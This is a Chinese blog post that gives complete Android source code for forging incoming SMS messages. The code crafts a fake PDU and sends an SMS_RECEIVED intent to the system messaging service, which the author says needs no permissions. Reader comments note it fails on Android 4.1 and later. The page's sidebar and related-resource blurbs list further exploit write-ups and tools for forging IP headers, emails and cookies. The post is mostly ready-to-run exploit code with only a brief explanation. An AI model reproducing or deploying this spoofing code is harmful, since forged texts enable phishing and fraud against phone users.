- 浏览: 623861 次
- 性别:
- 来自: 西安
文章分类
最新评论
-
d1438138:
[img][/img]
google api 的一些神奇使用 -
waykingeye:
[i][b][u]引用[list]
[*][img][url] ...
No result defined for action and result input -
tss0823:
...
No result defined for action and result input -
yahier:
有什么办法能够捕捉,然后给出自定义的提示呢
No result defined for action and result input -
chen_lian:
恩恩 按照上面的代码测试一下觉得很对
java创建目录
0x01 这个有是大名鼎鼎的蒋教授发现的,原理简单,有点意思
0x02 代码实现
package com.smstrick; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Method; import java.util.Calendar; import java.util.GregorianCalendar; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.PhoneNumberUtils; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.EditText; public class SMSTrickActivity extends Activity implements OnClickListener{ /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); View continue_button = this.findViewById(R.id.button1); continue_button.setOnClickListener((OnClickListener) this); } public void onClick(View v) { EditText eNum; EditText eMsg; String sNum; String sMsg; eNum = (EditText)findViewById(R.id.editText1); eMsg = (EditText)findViewById(R.id.editText2); sNum = eNum.getText().toString(); sMsg = eMsg.getText().toString(); //sNum cannot be blank if(sNum.equals("")) sNum = "123456"; createFakeSms(this.getApplicationContext(),sNum,sMsg); } private static void createFakeSms(Context context, String sender, String body) { //Source: http://stackoverflow.com/a/12338541 //Source: http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendar calendar = new GregorianCalendar(); dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH))); dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY))); dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE))); dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND))); dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { Log.d("ice", "test one"); ByteArrayOutputStream bo = new ByteArrayOutputStream(); bo.write(lsmcs); bo.write(scBytes); bo.write(0x04); bo.write((byte) sender.length()); bo.write(senderBytes); bo.write(0x00); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); try { String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class cReflectedNFCExtras = Class.forName(sReflectedClassName); Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(bodybytes); } catch (Exception e) { e.printStackTrace(); } pdu = bo.toByteArray(); } catch (IOException e) { e.printStackTrace(); } Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); //intent.putExtra("format", "3gpp"); context.startService(intent); } private static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4); } }
0x03 实质分析 核心在于自定义了系统的
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
//intent.putExtra("format", "3gpp");
context.startService(intent);
收到短信的intent,从而伪造了短信,而且不需要任何的权限。
评论
3 楼
mengfeicheng2012
2014-02-11
貌似4.1的系统把这个漏洞堵上了
2 楼
pdsljlj
2013-11-21
android 4.1.2 以上好像是不能用的
1 楼
qian546000
2013-09-21
icefish大神,
为什么短信的内容如果是中文的话,就会出现异常呢?怎样修改代码,才能支持中文的短信内容呢?
为什么短信的内容如果是中文的话,就会出现异常呢?怎样修改代码,才能支持中文的短信内容呢?
发表评论
-
metasploit 图形化界面和自动化exploit脚本
2013-10-21 16:25 76620x01 最新版的metasploit没了图形化界面, ... -
APKTool签名的一个问题
2013-10-14 21:19 24600x01 昨天写了反编译,今天就写下签名的问题 0 ... -
APKTool打包的一个小问题
2013-10-13 20:23 247520x01,又开始写blog了,好久没有网络了,最近终于可以开 ... -
struts2远程执行漏洞学习(四)
2013-05-23 00:12 22240x01 最近又有了一个新的struts2漏洞,http:/ ... -
CVE-2013-1493 学习
2013-03-25 16:06 28420x01 这个又是一个java CVE,效果前几个一样, ... -
CVE-2013-0422 分析2
2013-01-11 23:47 32980x01 http://wcf1987.iteye.c ... -
CVE-2013-0422 学习
2013-01-11 16:26 40580x01 这个是这两天爆出来的,我构建了一个本地测试代码,主 ... -
CVE 2012 0507 分析
2012-12-17 16:00 35180x01 https://github.com/wche ... -
A new way to hack android app info
2012-11-06 01:04 1611最近新研究了一种android攻击手段,blog发到团队那里的 ... -
一次被黑追凶(未完待续)
2012-10-15 19:52 24210x01,某天师妹告诉我们某台服务器疑似被人干掉了,我果断远程 ... -
python 反编译 pyc 一些心得
2012-09-06 10:59 537290x01 , 现在用python的人也多了起来,代码安全始终是 ... -
关于web渗透中得一些记录
2012-08-24 23:31 35591. 当得到linux root shell时 ... -
mail xss
2012-08-11 21:57 16591 最近迷上了xss,感觉各种飘逸,特别是http://www ... -
ubuntu共享文件夹设置(转)
2012-08-01 14:50 41211 sudo mount -t vboxsf samp ... -
XSS学习二
2012-07-31 15:48 12201.xss学习到今天算是告一个段落了,发现了一个sohu邮箱 ... -
我的sinaapp
2012-07-27 22:10 1232我的sinapp小家终于成型了 http://icefish ... -
phpcms v9的补充
2012-07-25 21:28 1160前一篇留了个疑问: 为什么 file_get_conten ... -
phpcms v9 爆密码
2012-07-25 20:47 70271.首先是http://www.wooyun.org/b ... -
xss漏洞及其他-学习笔记
2012-07-23 17:05 1482http://www.wooyun.org/bugs/wooy ... -
最近接触的几个技术随笔
2012-07-13 14:04 13481.IIS短文件和文件夹泄漏漏洞 这个漏洞具体可以看核 ...
相关推荐
可以修改iPhone 上的短信,如果你觉得别人发给你的短信不爽的,可以用这个工具来修改。还可以添加短信到手机上。功能非常强大,所以大家不要用来干坏事。后果自负。 最重要的是手机不需要越狱。
易语言伪造网页访问ip地址 结合HTTP扩展请求头 X-Forwarded-For 可以对客户端IP进行伪造 X-Forwarded-For 是一个 HTTP 扩展头部,用来表示HTTP请求端真实 IP,HTTP/1.1 协议并没有对它的定义,但现如今X-Forwarded-...
伪造邮件发送装置 伪造邮件发送装置 伪造邮件发送装置
vc 伪造cookie 写cookie ,通过代码来改写你想要的cookie,可以伪造本地保存cookie 记录。
【伪造硬币问题】给你一个装有n个硬币的袋子。n个硬币中有一个是伪造的。你的任务是找出这个伪造的硬币。为了帮助你完成这一任务,将提供一台可用来比较两组硬币重量的仪器,利用这台仪器,可以知道两组硬币的重量...
用协议头欺骗服务器,来造成伪造IP地址的效果!
本源代码包含Android4.0及以下版本短信伪造漏洞实现及开机自启动功能,并实现基于本地的注册码功能,最后增加简陋的杀毒引擎功能,基于Hash值进行数据库匹配。移动终端安全课程的简陋实践。
如何伪造IP 发送HTTP请求request.zip
本软件是由邮箱资料站旗下邮箱反垃圾邮件过滤产品技术部独家研制开发,...可伪造任意的邮箱发送邮件,对市面上的所有的邮箱都有显著的效果,当然也会有个别的邮箱的拦截系统比较完善,不可避免的可能会进入到垃圾箱里。
伪造公司印章罪辩护词精选.doc
短信内容生成器,中国电信无线工位专用,传报短信自动生成
伪造HTTP头VB 编写 源码实例 自己编写 亲测
PHP 伪造IP 发送HTTP请求.zip
1. 【伪造硬币问题】给你一个装有n个硬币的袋子。n个硬币中有一个是伪造的。你的任务是找出这个伪造的硬币。为了帮助你完成这一任务,将提供一台可用来比较两组硬币重量的仪器,利用这台仪器,可以知道两组硬币的...
图像伪造检测使用深度学习 使用卷积神经网络进行图像处理以检测图像中的篡改 项目描述 该项目结合了不同的深度学习技术和图像处理技术,以检测不同图像格式(有损或无损格式)的图像篡改“复制移动和拼接”伪造。...
限性。针对本领域的综述工作还比较缺乏,只有针对早期图像篡改工作的一些总结[4][5],亟需对现有工作进 行系统的整理和科学... 本文首先在第1 节中介绍深度伪造的各种相关技术,在第2 节中列举了当下深度伪造研究的数据
人脸图片伪造和鉴伪技术研究.docx
DELPHI7伪造ip头 仅供学习之用 很好的一个例子
利用VC编程伪造显卡故障场景
Urgent Pointers是紧急指针,16位,只有URG标志位被设置时该字段才有意义,表示紧急数据相对序Python伪造TCP数据包 - 马克飞象 - 专为